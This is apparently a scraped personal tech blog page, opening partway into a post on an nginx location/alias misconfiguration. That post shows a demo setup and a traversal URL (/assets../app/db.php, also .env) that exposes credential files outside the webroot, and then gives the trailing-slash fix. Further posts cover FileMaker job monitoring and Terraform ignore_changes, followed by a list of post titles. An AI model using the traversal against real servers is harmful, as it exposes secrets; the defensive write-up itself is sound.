 location / {
 try_files $uri $uri/ /index.php?$query_string;
 location ~ \.php$ {
 include fastcgi_params;
 fastcgi_pass php:9000;
 fastcgi_index index.php;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 }
 }
}

The web app

Our demo web app is really just for demonstration purposes and doesn’t do anything useful.

We have webapp/app/db.php (to have a file outside of the webroot that contains some credentials):

<?php

$user = 'appuser';
$pass = 'secret';
$db = new PDO('mysql:host=localhost;dbname=test', $user, $pass);

// ...

?>

And then our index.php in the webroot folder to show an intended output of the PHP application:

<?php

echo 'Here is the webroot';

?>

Launch the application and see the issue

Now that we have all necessary demo files set up, we can launch our containers:

docker-compose up --build

Going to http://127.0.0.1:8081 should now return Here is the webroot, which is the output of index.php in the webroot folder.

As seen in the above nginx config we also have an /assets location pointing to the /static directory. Navigating to http://127.0.0.1:8081/assets/sample.png gives us the sample image, as expected.

So what’s the issue?

The /assets location directive has no trailing slash and nginx will thus only match /assets and then append whatever is in the request to the final destination path.

If we open http://127.0.0.1:8081/assets../app/db.php we can force a directory traversal and access files in a directory one level down. For our demo app this means we can access the source code of db.php, a sensitive file outside of the webroot. Here, /assets../app/db.php effectively becomes /var/www/webapp/static/../app/db.php.

Note that attempts to force “regular” directory traversals in a requested path, as in /../, are obviously prevented by default.

While we could of course prevent the PHP source code from being returned vs. evaluated, this would not change the fact that we could still access other files one directory down – for example something like /assets../app/.env.

The fix here is to make sure to always set the full path in the location directive, as in location /assets/ (note the trailing slash).

The files

You can access the demo files via this GitHub gist.

Monitoring FileMaker scheduled scripts

Fri, 12 Aug 2022 00:00:00 +0000

In this tutorial I want to describe how you can setup immediate notifications whenever your scheduled FileMaker scripts stop running – for example due to a crashed FileMaker scripting engine, an error in your script or just general server downtime.

I will be using allgood.systems, a monitoring platform I recently built.

Creating a new Job Monitor

Once you have registered on allgood.systems you can navigate to the “Job Monitors” tab to create a new monitor for the FileMaker script you would like to get notifications for.

We can give the monitor a name for reference and then set a check-in interval.

Let’s say our script is scheduled to run every 60 minutes. Accounting for some delays and runtime, it makes sense to define a custom check-in interval of 65 minutes.

Our plan here is to get notified if and when the scheduled FileMaker script does not run in a timeframe of 65 minutes.

Leaving the other options as default, we can click “Save”.

Integrating the check-in URL

After adding the monitor it will have a “Started” status. This means it is active but has not yet received a check-in or detected any downtime.

Clicking on the monitor will reveal its “check-in URL”. Copy the link to your clipboard and then head over to your FileMaker script.

Generally, it makes sense to let your script check in after it has successfully performed its tasks. Let’s go ahead and add an Insert From URL step near the end of the script.

For our demo monitor configured above this step could look like this:

# check-in at allgood

Insert from URL [ Select ; With dialog: Off ; Target: $result ; "https://ping.allgood.systems/l/j/phY3K0ADSMadoohzFs0Xaw" ; Verify SSL Certificates ] 
Exit Script [ Text Result: True ]

Every time your script is run you should now see a check-in entry on allgood. And if there’s ever the situation where no check-in happens in the defined interval (no matter what the cause is), you will get a notification based on your settings on allgood (an email by default).

Want more?

In the same way as described above you could also add so-called “Trap Monitors”. In this case you would place the URL-triggers in places which you think are executed very rarely (for example edge-cases in your scripts). If those rare cases happen, you want to know immediately. Thus, with “Trap Monitors” you will get a notification on every (!) check-in.

Additionally, to just monitor the uptime of your FileMaker Server itself, you can do so with “Net Monitors” – either by checking if the server responds on port 5003, if the WebDirect/Data API/welcome page responds as expected or if your domain resolves successfully. As an extra you will also get reminders when your SSL/TLS certificates are about to expire. See the documentation for more information.

Have any more questions? Feel free to reach out.

Terraform: Change EC2 user_data without recreating instance

Thu, 09 Jun 2022 00:00:00 +0000

When you have set up your infrastructure with Terraform and then do any change to the user_data of a EC2 instance, Terraform will detect the change and generally do a force-replacement of the instance. In the planning stage this could look something like this:

 # aws_instance.web_backend must be replaced
-/+ resource "aws_instance" "web_backend" {
 [...]
 ~ user_data = "1c4e236bd5dec74fecc99d3a3d57679b9b12a927" -> "f8d9add08d4ead74d44af35452c6070dbfcb1576" # forces replacement
 + user_data_base64 = (known after apply)
 [...]

So what can you do when you want to make changes to user_data but don’t want to destroy your instance and create a new one?

For this case there is a lifecycle meta-argument in which you can customize certain resource behaviours.

The argument we are looking for is ignore_changes. You can declare this to tell Terraform to ignore changes to certain attributes of a resource that occur after its creation.

The user_data of a EC2 instance is just an example here – you may use it for any other data as well. But sticking with this example, let’s see how our modified EC2 instance could look like:

resource "aws_instance" "web_backend" {
 [...]
 user_data = local.ec2_user_data

 # don't force-recreate instance if only user data changes
 lifecycle {
 ignore_changes = [user_data]
 }
}

Making changes to user_data and then running terraform plan again, you will see that Terraform won’t pick up the change and thus won’t tell you that the resource must be replaced.

David Hamann

Writing a Windows Service in Rust

main(): Service vs. console mode

Defining entry point and starting service control dispatcher

Service initialization

Sample app

Handling stream data while checking token

Writing scripts in Rust – with rust-script or nightly Cargo

Using rust-script

Getting compilation output

Using dependencies

Using just Cargo (soon to be built-in Cargo script)

Using the Hetzner Cloud Terraform Provider

Prerequisites

Initializing

Setting up variables and outputs

Setting up server, firewall and IP address

IP address

Firewall

Server

cloud-init

Creating and destroying the infrastructure

Further information

How to get rid of web server upgrade prompts when installing FileMaker Server on Ubuntu Linux

What is happening?

Why is it happening?

The solution

FileMaker Server Admin Console: Access and Role Restriction Issues

Access restriction bypass (CVE-2024-40768)

Administrator Role restriction bypass (CVE-2023-42954) & passwords being sent to client (CVE-2023-42955)

Proof of Concept

Timeline

Claris disclosures

allgood.systems: get a Slack message when your server goes down

Creating a Slack app

Setup on allgood.systems

Exploring the fmp12 file format; or: what was my password again?

Introduction

Number bases / radices, bits and bytes

Base 10

Base 2

Base 16

Bits and Bytes

The fmp12 file format

Visual inspection and header

Helpful resources

Block structure

Payload

Encoding of data, and payload examples

XOR example

Key-value example

Path operation example

How do we get to the accounts?

What to do with this information?

Lessons learned so far

Time for some debugging

Figuring out the password hash

Values passed to ComputePasswordHash

What do we know so far?

Digging deeper

Looking at additional calls

Summary so far

Figuring out the variable-length “checksum”

Why variable length?

Figuring out the account checksum

Do we have it now?

Additional info and caveats

Connecting to a private Windows EC2 instance without exposing RDP to the internet

The problem statement

AWS Systems Manager Session Manager

What this tutorial is about

Creating VPC, subnets, gateways, routes

Setting up instance profile and creating Windows server in private subnet

Installing Session Manager plugin, starting port-forwarding session and connecting via RDP

Building a 6502 Computer

Part 1

Part 2

Part 3

Part 4

Part 5

Using `rust-script`

Handling signals instead of `KeyboardInterrupt`